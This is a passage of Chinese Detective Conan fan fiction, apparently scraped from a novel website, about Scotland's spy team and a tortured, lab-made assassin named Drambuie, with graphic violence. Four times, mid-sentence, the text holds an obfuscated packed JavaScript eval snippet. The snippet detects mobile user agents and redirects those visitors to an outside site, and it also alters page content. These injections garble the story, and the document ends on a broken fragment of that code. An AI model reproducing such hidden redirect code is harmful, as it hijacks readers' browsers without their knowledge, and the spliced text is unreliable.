《[名柯]锈钉》 1. 第 1 章 “先生,这是您的酒。” 晦暗的酒吧里,一名戴着半张面具的服务生穿着暴露的侍者服,弯腰将一杯调制好的鸡尾酒放在一名顾客面前。 “哟……” 已经半醉不醒的客人抬头看见服务生没有被面具包裹住的半张脸,眼前一亮,伸手就要去揽服务生的腰,却被后者灵巧地躲开。 “你别给脸不要脸!你……” 客人不悦,抬手正欲打人,只见那服务生取下自己脸上的面具——一道疤横亘整个右脸颊,从嘴角一直延伸到接近耳根的位置。 “扫兴!” 客人就着昏黄的灯光看清他脸上的疤痕,连忙摆摆手示意对方走开,转头和同行的伙伴吐槽: “真是恶心……白瞎了那么好看的一张脸。” 黑发灰眼的服务生似乎早就习惯了这样的嫌恶,无谓的转身继续去忙自己的事情。 下一位客人点的是什么酒来着? 他边走边想……好像是“锈钉”。 是锈钉啊,服务生不自觉走神:锈钉,一种由杜林标和苏格兰威士忌调制而成的鸡尾酒。 想起苏格兰威士忌,服务生的心中忽然泛起一阵涟漪。 酒吧休息室里,新来的驻唱歌手问已经在这里工作过一段时间的同事:“刚刚那个服务生是什么情况?” 他没有错过刚刚卡座角落发生的小小骚动。 “你是说那个家伙啊,”同事摸着下巴,“他也就早你几天来这里工作而已,只是可惜了那张脸,好端端的弄出一道疤来,不知道白白浪费了多少客人。” “他叫什么名字?” 同事一下子被问住了,想了好一会儿才记起这个话不多,并且只上晚班的服务生的姓名。 “好像叫什么……青木修来着。” 青木修? 驻唱歌手——也就是诸伏景光摆弄贝斯的手一下子顿住,一时间满脑子都想着“他怎么会在这里”? “绿川?绿川?” 同事见他走神,伸手在诸伏景光眼前晃了晃,“干嘛这么出神?你不会也想和那家伙发生点什么吧?” “等等……” 诸伏景光脑子里各种念头喷涌而出,显得乱糟糟的断了思绪。 “那个家伙不好接近……话又少性子又古怪,有时候客人不介意他的脸他也不愿意……” 同事还在背后说着什么,诸伏景光已经完全听不进去了,他的整个视野里只剩下青木修一个人,其他的光景都模糊了。 青木修,多么熟悉又陌生的名字。诸伏景光苦笑一声,想当初,这个名字还是自己给他起的。 直到第二天天将明,青木修才结束了一整夜的工作,换下侍者服,穿上自己带来的连帽衫,静悄悄地从酒吧后门离开。 穿过一条小巷子,就能回到自己暂住的地下室了。 青木修搓搓冻红的手,佝偻着身体小心翼翼地前行,时不时还回头看看,以确保没有什么人跟着自己。 “唔——!” 就在距离离开小巷只剩下一个转角时,一只手突然从背后伸出来,紧接着捂住青木修的嘴巴,把他狠狠甩上了墙。 青木修正要挣扎,一抬眼看见来人的相貌,只觉得浑身的血液都停流了—— 是诸伏景光。 “苏——苏格兰!” 青木修艰难地从他的手下吐出几个字来。 诸伏景光看着这双熟悉又陌生的灰色眼睛,不由得想起三年前他们初见的时候: 三年前: 那是一个晴朗的早晨,诸伏景光从童年的噩梦中惊醒。 “你别躲了!快出来吧!” 杀死父母的凶手的歌声仿佛仍在耳边回响,诸伏景光从床上一挺身坐起来,抚着胸口大口的喘息。 我是绿光川,我是苏格兰…… 他一遍又一遍地给自己洗脑,他此刻不再是诸伏景光,而是黑衣组织中代号苏格兰的狙击手绿光川。 我是苏格兰…… 心跳逐渐恢复平稳,诸伏景光才放下一口气,起身准备去给另外两名队友做早餐—— 他因为在狙击上表现出天赋,迅速在组织中展露头角,被分归到威士忌小组。 另外两名同伴分别是情报组的安室透和另一名狙击手诸星大。 很巧合的是,安室透就是他的警校同期降谷零,也是一位潜伏进入黑衣组织的公安人员。 至于为什么会是诸伏景光承担起非任务期间的做饭职责呢? 那就要问问诸星大能把人吃进急救室的手艺和降谷零忽上忽下的厨艺水平是怎么回事了。 不管怎么说,他们三个人相处的还算是不错,虽然降谷零时不时表现出一副对诸星大有些意见的样子,但至少三人明面上还是能够和谐相处,一起完成布置下来的各种任务。 “啪嗒啪嗒。” 诸伏景光趿拉着拖鞋正要走出卧室,却在起身的瞬间意识到哪里不对劲。 屋子里有别人进来了。 他躲在门后,悄悄的打开一条门缝向着客厅的方向看去,才发现自己判断失误: 屋子里不仅仅多出来一个琴酒,他的身边还坐着一个人。 “琴酒,你一大早来这里干什么?” 虽然自己没做出什么可能导致暴露的事情,但诸伏景光还是被这个不打一声招呼就带人强闯安全屋的家伙吓出了一身冷汗。 “我还以为你们会睡到夕阳西下呢。” 琴酒嘴角扯起一抹充满嘲讽意味的笑容,诸伏景光顺着他的话去看挂在客厅里的时钟——其实也不过早上六点多几分而已。 忽略掉琴酒的嘲讽,诸伏景光把视线移向坐在他身边黑发灰眼的男人,“这是谁?你带他来干什么?” 话题终于被移到了正轨上,琴酒掐掉手中的烟,“应实验组的要求,把这个实验题送来给你们使用。” “使用”这个词让诸伏景光下意识的感觉到不适,他皱皱眉头,“实验体?” “没错,”琴酒点点头,抬手掐住男人的下颚逼迫他张开嘴。 男人瑟缩了一下,但还是顺从的张开嘴巴,吐露出一小截猩红的舌头。 上面有一个舌钉。 “这是定位器,以防他生出什么不该有的心思。” 琴酒说着抛给诸伏景光一个药盒,“他还有些瑕疵,这是一年份抑制瑕疵的药物。” 说完这位行动组的负责人起身就准备离开,留下诸伏景光和男人在原地大眼瞪小眼。 “等等,他叫什么名字?有什么用处?” 诸伏景光试图叫住琴酒,奈何对方能和他说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976827|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么几句话已经是耐心耗尽,“让他自己跟你们说吧。” “嘭!” 安全屋的门被甩上了。 直到琴酒的脚步声彻底消失,身后另外两间卧室的门才打开。 “琴酒就这样把他扔给我们了?” 降谷零突然出声,差点又把诸伏景光吓了一跳。 “你们已经起来了?” “你们说话的声音很大。”诸星大默默补充。 “那你们……”那你们怎么不出来啊? 降谷零看懂他的眼神含义,耸耸肩膀,“我不想和琴酒有太多的交流。” “我也是。” 好吧……诸伏景光无言,一个组总要有一个人出来面对琴酒。 安全屋里忽然安静下来,三个人一致将目光投向还坐在沙发上,看起来甚至有些不知所措的灰眼男人。 “你叫什么名字?” 见两名同伴都不说话,诸伏景光只好站出来打开话头。 “我是杜林标。” 杜林标谨慎地开了口。 诸伏景光皱皱眉头,显然是不太满意这个回答,“我问的是你的名字,不是你的代号。” 杜林标显得更加手足无措了,“我的名字就是杜林标……我没有其他的名字了。” “好吧……”诸伏景光看着这个长相俊秀的青年,意识到对方可能不太会和人交流,只好自己主动询问,“你会做些什么?” “我什么都可以做的!”杜林标听见这句话,仿佛是有什么应激反应一样立刻回答道:“有什么任务都请吩咐我!哪怕是调酒也可以!” 诸伏景光庆幸自己现在没喝水,不然他一定会喷出来。 “你知道调酒是什么意思吗?” 杜林标一本正经地点头,“我知道……就是……就是……” “好了,我知道你的情况了。” 诸伏景光见他真准备在几个人面前解释“调酒”在组织里意味着什么,连忙岔开话题,“刚刚琴酒说你还有些瑕疵是什么意思?” “我不按时吃药会头痛,”杜林标点点自己的脑袋,“但是我会乖乖听你们的话的!请不要把我送回实验室!” 他的反应又有些强烈,仿佛实验室是什么魔窟似的,声音里已经带上了几分乞求,“我真的会完成所有的任务的!” “好吧好吧,”诸伏景光一只手落在杜林标的肩膀上,示意对方不要太激动,“我相信你。” “相信”这个词狠狠触动了杜林标的神经,当他冷静下来再看向诸伏景光时,眸光已经沾染上几分感激。 “绿川,该做早饭了吧。” 相比起诸伏景光,降谷零和诸星大则是一副兴致缺缺的模样,全程只是安静地听着他和杜林标的交流。 “你会做饭吗?” 诸伏景光扭头看向杜林标的灰眼睛。 “我会的!” “那就进来帮我吧。” 诸伏景光倒不是真的需要杜林标的帮忙,而是需要趁着这个机会好好观察他—— 他可还没忘记,方才自己只感受出了琴酒一个人的存在。 正如诸伏景光所想的那样,杜林标全程不管是做什么事都无声无息,宛如一只幽灵。 他很危险,诸伏景光在心中暗暗给杜林标打上标签。 2. 第 2 章 无论初见时的场景有多么尴尬,至少杜林标都在威士忌小组里“安顿”下来了。 其中为数不多令诸伏景光感到高兴的地方就是——他终于不用自己一个人做饭了。 考虑到威士忌小组刚刚成立不久,行动组并没有给他们派发太多的任务,更多的则是让他们相互磨合。 但也正是因为这样,组织对于他们的监视也没有减少,以至于诸伏景光和降谷零两人很少有机会能够回到警察厅述职,或是与同事们交接。 “绿川,来任务了。” 午后,诸伏景光正倚着厨房门口看杜林标在里面收拾碗筷,降谷零走过来,敲敲门框提醒他。 “是什么任务?” 这是杜林标加入他们以来的第一个任务,不管是组织还是威士忌小组的几人都很重视。 “除掉一个走私团伙,规模不大,也就十几个人。” 诸伏景光以为自己的耳朵出了什么问题,“多少人?” 降谷零又低头看了看自己的手机,再次确认道:“十六人。” “只有我们四个?” “不,”降谷零摇头,“准确来说是只有你们三个,我作为情报人员,不直接参加行动。” 好吧,诸伏景光无言,早知道自己也加入情报组了,还能省去不少事情。 不过现在不是后悔的时候,他走进厨房通知杜林标,“走吧,今晚有任务。” 杜林标看见降谷零站在门口,下意识朝着诸伏景光的方向躲了一下。 不知道是不是为了维持人设的原因,降谷零这段时间以来一直对杜林标表现得半冷不热,包括诸星大也不怎么搭理他,以至于现在杜林标只能跟诸伏景光说说话,也就下意识的依赖他一些。 “干什么这么怕我?” 降谷零注意到他的动作,没忍住出言嘲讽,“我又不会把你送回实验室。” 听到“实验室”三个字,杜林标浑身的肌肉都绷紧了。 “他和你开玩笑的呢,”诸伏景光有时候也不太清楚自己这个幼驯染到底在想什么,和诸星大不搭或许有还能说是两人气场不和,但是杜林标…… 诸伏景光想不通,干脆不想了。 今晚他们的任务称得上是繁重,几人早早便来到东京港港口埋伏起来,只等着走私船一到就开始行动。 “狙击枪没办法在短时间内干掉十六人,”诸伏景光趴在狙击点位上叮嘱杜林标,“我们需要你在下面尽快控制住现场,能做到吗?” 杜林标换了一身黑色的夜行服,乖乖趴在诸伏景光身边,只露出一个温顺的发顶。 “能做到。” 杜林标点点头。 “去吧,记得小心别被流弹误伤了。” 诸伏景光拍拍杜林标的肩膀,示意他可以出发了。 “嗯!” 杜林标用力点头,神情活像是得到了鼓励的小孩。 看着他消失在拐角的背影,诸伏景光莫名有些幻视,觉得杜林标像一只听话的德牧。 “我在想什么……” 这个念头一出,诸伏景光自己都被自己吓了一跳,他连忙拍拍脸,让自己冷静下来。 几人一直蹲守到凌晨三点多,码头边才传来了一些动静,诸伏景光连忙活动了下自己有些僵硬的手指,透过狙击枪观察着码头。 一艘船靠了岸,紧接着就是一声哨响,很快就有几个人从码头的角落里跑出来围上船,船上同时下来几个人开始帮忙搬运货物。 诸伏景光数了数,加上站在船长室里的一人,现场整好十六个人。 现在还不是动手的好时机,根据降谷零的补充,他们这次的任务不仅仅是处理掉这帮走私团伙这么简单,组织还盯上了他们走私的货物。 必须要等待他们把货都从船上卸下来码放进集装箱才能动手。 时间一分一秒的过去,一滴汗水顺着诸伏景光的下巴滴落在地上。 降谷零在港口外用小型无人机监控着一切。 确保最后一箱货物也摆进集装箱,降谷零迅速拍摄下几个存有货物的集装箱的位置,接着通过耳机向同伴们发出指令。 “开始行动!” 诸伏景光的狙击枪早已经瞄准好一个人头,装有消音器的狙击枪连声响都没有发出,只见空中划过一颗子弹,正中船长室那人的头颅。 同时,诸星大那边也打出一颗子弹,解决掉落下队伍的一个人。 听见人体倒地的声音,前方的人才意识到不对劲,惊慌失措地想要寻找子弹射出的方向,但诸伏景光和诸星大两人已经换了位置。 与此同时,暗处鬼魅般弹出一个人影,直直扑向距离自己最近的一个人。 是杜林标。 他不知在什么时候,通过什么方式如此的接近那伙走私犯,速度之快、距离之近让人防不胜防。 “啊——” 只来得及听见一声惨叫,被杜林标最先盯上的人已经没了声息。 杜林标双手分别持着长短不一的一对匕首,挥手间收割两人的性命。 其他人这时候才觉察出远方和近处都有敌人,开始匆忙想要拿枪反抗。 “乓!” 只听见一声令人牙酸的□□碰撞声,杜林标已经收起一把匕首,一手卡着一个人的脖子作为肉盾,另一手成格挡姿势,连冲几步撞向另一个人! “噗呲——” 被他卡住脖子的倒霉蛋已经帮他挨了几枪,另一人则被杜林标迅速地划破大动脉,喷涌而出的鲜血溅至半空,又撒落回地面,滴了几滴在杜林标的脸上。 他抬手擦了下脸上的血,放进嘴巴里舔了下。 甜的,他想。 这一幕正巧被诸伏景光通过瞄准镜看到,他没有错过杜林标品尝到鲜血后,嘴角露出的小小笑容。 诸伏景光心下一惊,但还是控制住放在扳机上的手指,精准无误地射出一发子弹。 “嘭!嘭!嘭!” 接连几声类似于西瓜爆破的声音,又有几个人脑袋开花倒了下去。 虽然诸伏景光和诸星大两人开枪帮助杜林标分担掉一部分负担,但是他们也都达到了狙击手在同一个点位所能开枪的上限,两人不得不改换位置。 也就是说,杜林标将会有几分钟陷入孤立无援的境地。 不过这些并不会给杜林标带来太多的困扰,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976828|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像是不知道痛似的,在人群中拼杀。 一发子弹擦着他的腰飞过,杜林标都没低头看一眼自己腰部炸裂开来的伤口,纵身一跃,高举起匕首,自上而下插入对方的脑袋。 有人试图从一旁偷袭,结果下阴招不成反被杜林标揪出来,甩手砸在集装箱上昏死过去。 等到诸伏景光和诸星大两人来到合适的位置后,十来个人已经被杜林标解决的只剩下个位数。 诸伏景光一边暗暗心惊的同时一边扣下扳机,帮助杜林标解决掉背后一个还没死透的人。 杜林标原本正在擦拭匕首,闻声回过头,看看身后还保持着举枪姿势的走私犯,冲着远方露出一个笑容。 他的视线准确的和正通过瞄准镜观察他的诸伏景光相接。 “谢谢你。” 诸伏景光看见他这么说。 . “任务完成。” 简单收拾过现场,降谷零避开监控,把车开进港口区域。 杜林标带着一身血气打开副驾驶的车门,又在降谷零的眼神下老老实实去了后座。 “杜林标,”诸伏景光收拾好自己的狙击枪,状似漫不经心地问道:“你的伤不痛吗?” 杜林标顺着他的眼神看向自己的腰侧,反应了几秒钟才意识到对方似乎是在关心自己。 “不痛。” 他摇摇头,“我的疼痛阈值被提高过,这点伤没那么疼。” “是吗?” 诸伏景光又在心里记下一条,“回去之后我帮你处理一下吧,受了伤也不能不管,万一感染了还要给我们拖后腿。” 这一回杜林标学聪明了,自认为理解无误,觉得对方是在关心自己,连忙抬起头,看着诸伏景光的眼睛真诚道谢。 “绿川,你对一个实验体未免也太关心了吧。” 降谷零担心诸伏景光真的因为杜林标看起来神秘且不幸的过去变得心软,换着法子出言提醒。 “毕竟是我们小组的人啊,”诸伏景光接收到来自幼驯染的暗示,耐心解释道:“万一他出了什么岔子琴酒找我们的麻烦怎么办?我们总不能自己给自己找不快活吧?” 这句话说的有道理,降谷零听后信以为真,便没有再多问。 回到安全屋,诸伏景光果真如同在回来的路上说的那样要帮杜林标处理伤口。 “真的谢谢你,苏格兰。” 杜林标的眼睛亮亮的,整个人表现出和他刚刚执行任务时截然相反的模样,嘴角的笑容根本压制不住。 “不用谢我,还是那句话,我只是为了不给自己多找麻烦而已罢了。” 诸伏景光拿来医疗箱,蹲在沙发旁边帮杜林标清创,也不知道后者听进去他这句话了没有,整个人还是表现的异常兴奋,仿佛是一个得到了糖果奖励的小孩。 清创过程中诸伏景光“不经意”下手重了一些,他抬头观察杜林标的神色,发现对方依旧沉浸在难以控制的喜悦中,根本没有注意到他的小心思。 看来他说的是真话,疼痛阈值被人为提高了,不然像这样的伤口,是个人多多少少也要皱下眉头。 诸伏景光对杜林标的来历更加好奇了。 3. 第 3 章 不提出任务,诸伏景光发现杜林标在生活的某些方面上可以称作一个白痴。 “杜林标,你都会些什么啊?” 某一天,诸伏景光趁着降谷零和诸星大出门采购生活用品,只有他和杜林标两个人在厨房里忙活时,状似不经意地问。 “唉?” 杜林标似乎不防备诸伏景光会这么问自己,眼睛虽然亮了亮,没有第一时间回答。 “我的意思是,你看起来似乎什么都会。” 诸伏景光眯眯眼,手中切菜的刀一刻也没有停下,就像是真的纯属做饭无聊主动和杜林标搭话似的,“你的伤后来也没有让我看过了,你自己处理过吗?怎么样?好了吗?” 他追着问出几个问题,仿佛最开始的那个只是为了打开话题抛出的引子。 “已经愈合了,谢谢你。” 杜林标撩起衣角,把自己腰侧毫不设防地展示给诸伏景光。 现在正是白天,这一次诸伏景光终于看清,杜林标裸露出来的皮肤上大大小小的新伤叠着旧伤,有一些已经形成增生,弯弯曲曲的横亘在皮肤上,至于几天前出任务留下的伤口,只是结了痂。 “只是结痂而已,小心撕裂之后重复感染。” 诸伏景光点点血痂,杜林标哆嗦了一下,但是能看得出来他克制住冲动没有躲开。 “不流血了就算是好了。” 杜林标的心情看起来很好,说话时尾音微微上扬“小伤而已,不疼。” 他说的不疼可能是物理意义上的不疼,诸伏景光心想,就是不知道之前的这些伤口是怎么形成的。 “实话实说……我会的东西也不多啦。” 见杜林标自己把话题绕回来,诸伏景光连忙打起精神,“哦?你不是还会做饭吗?” 虽然会的种类不多,但起码比另外两位有保障多了。 “我跟过琴酒大人一段时间,他不怎么允许我离开基地,那时候才学会做饭的。” “琴酒不允许你随意离开基地?” “是啊,”杜林标说话时语气平平,完全没有觉得哪里不对,“一般只有出任务或者是在其他成员的监护下才能离开。” “这难道不算是限制你的人身自由吗?” “人身自由?” 杜林标露出来的表情就像是第一次接受到这个概念似的。 诸伏景光显然发现他的思维与常人的不同之处,尽量用简单的话给他做解释,“人身自由的意思就是说跟着你自己的想法去做事,不会受到限制或者是监控。” “就像是现在这样吗?” “哈?” 诸伏景光一时间没有跟上杜林标的脑回路。 “难道现在不是吗?没有任务的时候你们不会管我或者命令我去做什么,出门采购食物也可以让我一个人去,是这样吗?” 诸伏景光哑然,心说不管你是在冷落你,让你一个人出门采购食物他们也会有一个人在后面远远跟着,不过杜林标的眼神实在是太过热烈,他没忍心把事情说出来。 “是、是啊……我们……现在就是给你人身自由。” 他有些心虚地说。 “果然我没有理解错!这样的感觉很好!我很喜欢!” 如果把杜林标看作一只德牧,恐怕他现在身后的尾巴已经摇得快要飞起来。 这时候,诸伏景光才发现杜林标的脸上居然有两个浅浅的酒窝,只有像现在这样开怀时才能看出来。 “跟着你我学到了很多!” 杜林标用的是“你”而不是“你们”,他此刻很是兴奋,跟平时,尤其是降谷零在的时候比起来,显得异常的话多,不过好在诸伏景光足够有耐心,愿意听他的碎碎念。 “先生只让人教我怎么听话,怎么完成任务,但是从来没人像你这样教我怎么生活!” 嚯,还知道什么叫“生活”了。 诸伏景光扯扯嘴角,以此来掩盖住自己的诧异和微窘,“你是哪里人?长这么大以来没有朋友的吗?” 杜林标脸上的炽热褪去几分,目光逐渐暗淡下来,“原本是有的,”他伸手在身前比划了几下,“是一只只有这么大的比格犬,名字叫103,可有一天老师把它带走之后就再也没有回来过……” “抱歉,提到了你的伤心事。” 诸伏景光想了想,猜测杜林标口中的“朋友103”可能是一只用来做实验的实验犬——比格犬内脏结构和人类类似,忍痛力强,性情温顺,是许多药物研发过程中的实验对象。 眼前的人不也是这样吗?一个不谙世事的实验品。 转念一想,诸伏景光竟是对杜林标生出几分怜悯之心。 “没关系,”杜林标摇摇头,“你能帮我一个忙吗?” “什么?” 杜林标将声音压低,一副神神秘秘的样子,“我想和你做朋友,你能不要告诉琴酒大人或者是先生吗?” “为什么?‘先生’又是谁?”诸伏景光不动声色地套话。 杜林标似乎压根就没有多想,几乎是脱口而出,“先生就是先生……啊!琴酒大人和贝尔摩德大人好像称呼他BOSS。” BOSS? 诸伏景光立刻联想到那位一直隐藏在幕后的组织操盘手。 “他们不让你交朋友吗?”他假装没有对“BOSS”这个词产生什么反应,反倒将注意力集中在前一个问题上。 “他们说我和103一样,没必要有朋友。” 和103一样是什么意思?诸伏景光遮掩住自己的眼神,难道是说杜林标的身份不配和其他人一样? 似乎是害怕他不同意,杜林标乞求般的扯了扯诸伏景光的袖子,完全没有意识到自己这个行为在其他人眼里就像是在撒娇。 “你不愿意和我做朋友也没关系的,但是能不能不要告诉琴酒大人和先生?” 诸伏景光心道:我现在连见BOSS的机会都没有怎么跟他打小报告? 杜林标的眼睛很圆,眼角微微下垂,额前的几绺碎发微微挡住眉毛,以至于诸伏景光从这个角度看过去觉得他更像一只可怜兮兮地德牧了。 “好吧……我和你做朋友,但先说好,这是我们俩之间的秘密。” 杜林标“噌”一下笑起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976829|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,酒窝里盛满了喜悦,“我知道的,秘密就是除了你谁也不能说的。” “你知道就好。” 诸伏景光也未曾想到,在两个人没有任何誓约的情况下,杜林标真的会守口如瓶。 他原本还想继续套话,但是降谷零和诸星大正好打开大门,杜林标反应比他还快,兔子一样后退几步,主动和他之间保持着一个安全距离。 “我们回来了。” 降谷零将顺道采购回来的事物放在桌上,杜林标如往常一样默默拿过,正要塞进冰箱,就见降谷零摸着下巴,视线在诸伏景光和他之间来回切换了一会儿,仿佛从空气中嗅出了什么,突然道:“你们俩趁着我们不在说什么了?” 诸伏景光手一顿,心说不愧是专业搞情报的,这都能看出来。 注意到杜林标悄悄瞥了自己一眼,诸伏景光装作什么都没有发生的样子,决定不当着诸星大这个外人的面说,也免得破坏了杜林标对自己的信任,“就是问了问他的伤怎么样了。” “他还需要我们的关心吗?” 降谷零一如既往维持着两人之前商量好的“红脸白脸”的人设,说话没好气道:“他可是带着定位器,时时有人关心着呢。” 诸星大对此不置可否。 至于降谷零要用这种态度对待杜林标的原因——一则是为了立住在组织里的人设,同时便于他们其中一人获取对方信任,二来则是想像试探诸星大那样试探杜林标的脾气底线——虽然说诸星大这边暂时没什么成果就是了。 降谷零对此有些头疼,除了诸伏景光之外,两个队友一个什么事都淡淡的,仿佛对任何事都不关心,一整天就知道没事抽个烟摆弄狙击枪;另一个不知道是真傻还是假傻,完全看不出自己有意冷落他。 但是比起满眼都是狙击枪的诸星大,他更忌惮杜林标——这个家伙随身带着一个定位器,谁知道还有没有其他的功能。 杜林标不是傻子,他能感受得出降谷零偶尔对自己表现出来的敌意,但他并不知道自己有什么地方得罪过或者是冒犯过这位情报组的精英,也不希望自己和他起直接冲突。 在杜林标的潜意识里,这些人的地位都要高于自己,而他的过往经验告诉他,和地位高于自己的人起冲突并没有什么好果子吃。 “饭好了,快来吃吧。” 也许是性格使然,又或许是长期以往形成的肌肉记忆,杜林标选择避其锋芒,装作听不出降谷零话中的其他意味,安安静静地帮诸伏景光摆桌子。 只要我自己不犯错,我就不会受到惩罚。 杜林标安慰自己,他很满意现在威士忌小组的生活:没有实验、不用训练,也没有来自于其他人的教育……这样的生活对他几乎可以说有些安逸了。 如果能一直这样安逸下去该多好啊。 杜林标闷头扒着碗中的米饭,忽然冒出这么一个念头。 不过这个美梦泡泡一出现就被他打碎了——他很清楚的知道自己配不上一直拥有这样的生活,眼前的一切都是幻想。 杜林标,你千万不能得寸进尺。 他在心中反复敲打自己。 4. 第 4 章 自己去基地报到的次数好像变多了,诸伏景光起先以为是自己的错觉。 经过一段时日,他渐渐品出一丝不对味来:自己的猜测不是错觉,自己,或者说自己陪着杜林标去东京基地报道的次数确实变多了。 “绿川,明天麻烦你带杜林标去一趟基地。” 已经是这个星期不知道第多少次接到来自降谷零的通知,诸伏景光终于忍不住了。 “不是,等等,为什么又是我啊?” 他有些不明白,自己又不是情报组的人,也不是主动和琴酒对接任务的负责人,怎么次次都要他陪着杜林标去组织基地啊!琴酒那张脸他也不想看到好吗? “我要保养狙击枪。” 诸星大难得说话,同时举起自己手中的吉他包。 诸伏景光:说得好像我不是狙击手似的。 “我明天要去情报组开会。” 降谷零指指自己的手机,上面赫然是来自朗姆的短信。 “……行吧。” 扭头看向另一位主人公,对方显得有些踹踹不安。 或者说,每次降谷零提到要去基地见琴酒,杜林标都会露出这种惴惴不安的神色。 这一点让诸伏景光很在意,毕竟从前几次陪同杜林标去基地的经验来看,琴酒并没有对他做什么,只是让几个白大褂把杜林标带入一间医务室检查身体而已。 不过联想起杜林标的身份和他曾经的那只比格犬朋友,诸伏景光又多了几分理解,毕竟“实验品”这个称呼听起来就不是什么好的称呼。 “看来明天只有我陪着你咯。” 杜林标抿抿唇,手指在衣角来回摩挲着。 第二天,诸伏景光熟门熟路带着杜林标进入基地医务室——琴酒可不会屈尊降贵跑到大厅等他们——把人交给几个眉眼看起来十分眼熟的白大褂。 “苏格兰,到外面等着吧。” 琴酒毫不客气的下了逐客令,尽管诸伏景光已经注意到今天的诊疗椅有些不同,但也没来得及问出口。 “我去训练场待一会儿。” 他们要干什么? 心中关于杜林标的疑惑越来越大,却始终得不到解惑,诸伏景光选择去靶场散散心。 琴酒背对他做出一个摆手的姿势,没有多加挽留。 看着诸伏景光离开的背影,杜林标的眼睛瞬间暗淡下来。 “怎么?这么舍不得他?” 白大褂们上前,把杜林标拖到诊疗椅上固定好,解开他胸前的衣服,连接上几个仪器开始摆弄。 “……没有。” 杜林标的眼神怯怯的,不知是不敢还是不愿意和琴酒对视。 “还记得我和你说过什么吗?” 琴酒上前一步,像那天把他带去威士忌小组的安全屋时做的那样钳开杜林标的下巴,逼迫对方的眼睛对视自己。 “……记、记得。” 琴酒的手劲很大,杜林标发声有些困难。 “那就好,别忘记自己的身份,别忘记你的任务。” 其实在被分派到威士忌小组之前,杜林标已经被安排道好几个小组做过事:先生说最近组织又混进了不少老鼠,需要他在各个小组之间轮转,替先生观察各个小组有没有异常。 一名白大褂走上前,用舌钳夹住杜林标的舌头,一手卸掉舌钉的底部,一手直接把和血肉有些黏合在一起的定位器拔下来! “唔!” 方才注入的神经性药物已经开始慢慢起作用,杜林标原本几乎没有的痛觉几乎在瞬息之间就被放大了无数倍,医生只是一个拔除的动作都激出他大量的生理性眼泪。 涎水混着鲜血顺着舌尖淌落,在无影灯的照射下,能清楚的看到杜林标浑身上下都在不停地颤抖着,额头上沁出一层冷汗,顺着微凹的眼眶流进眼睛。 “疼吗?” 杜林标被夹着舌头说不出话,只能点点头。 医生简单给他的舌头消了毒,重新装入一枚新的定位器,“这是最新款的定位器,更小,也更像饰品,方便你平时活动。” 其实不管他们说什么杜林标都只有点头的份。 “接下来还会有一些痛,你稍微忍一忍,”他的胸膛上被连接上几个电极,另一名医生一边观察着他的反应一边加大电流,“你们几个,做好记录!” “是!” 几位打下手模样的医生连忙从箱子里取出不薄的本子,一刻不停地记录着一旁仪器上的参数变化。 “啊……啊——!” 随着电流越来越大,杜林标终于忍不住疼痛,扯开嗓子大声惨叫起来。 “闭嘴,吵死了。” 医生不耐,随手拿起一大团医用棉花塞进杜林标的口腔里。 基地靶场: 诸伏景光一枪打中远处基安蒂设下的靶子。 “喂!苏格兰你……” 基安蒂正欲说什么,却被诸伏景光一个手势制止住,“刚刚是不是有人在惨叫?” “惨叫?”基安蒂立刻被他的话转移注意力,竖起耳朵听了听,“不可能吧,组织没说有抓到的老鼠在受审啊。” “是吗?” 诸伏景光屏息凝神片刻,确实没再听到什么声音。 “也许是我听错了吧……” 嘴上这么说着,他心中依旧相信自己的判断,只是没由来的,他想起了杜林标。 那个家伙怎么样了? 他下意识分了神。 “苏格兰你想什么呢?” 基安蒂见他走神,伸手在他眼前晃了晃,“你不会在想杜林标吧?”她刚刚看到这两个人是一起来的基地。 “没有,我只是在想……怎么样才能让我们小组的那两位和谐相处。” “也对,”基安蒂抬手整理头发,“那个家伙也没什么值得好担心的。” “你和他很熟?” “不,只是有所耳闻罢了,”基安蒂嘴角的笑容很是轻蔑,完全没有把杜林标当成自己人的样子,“一个有瑕疵的实验品而已。” 她还记得当时杜林标差点就被直接编入行动组,那个家伙展现的狙击天赋可一点儿也不比诸伏景光差。 如果杜林标是组织正式招进来的成员,或许他会因为自己的狙击天赋得到组织的大力栽培,就像是苏格兰和莱伊这样子。 不过很可惜,实验品终究是实验品,上不了台面。 基安蒂完全没有注意到自己眼中的嫉妒根本遮掩不住。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 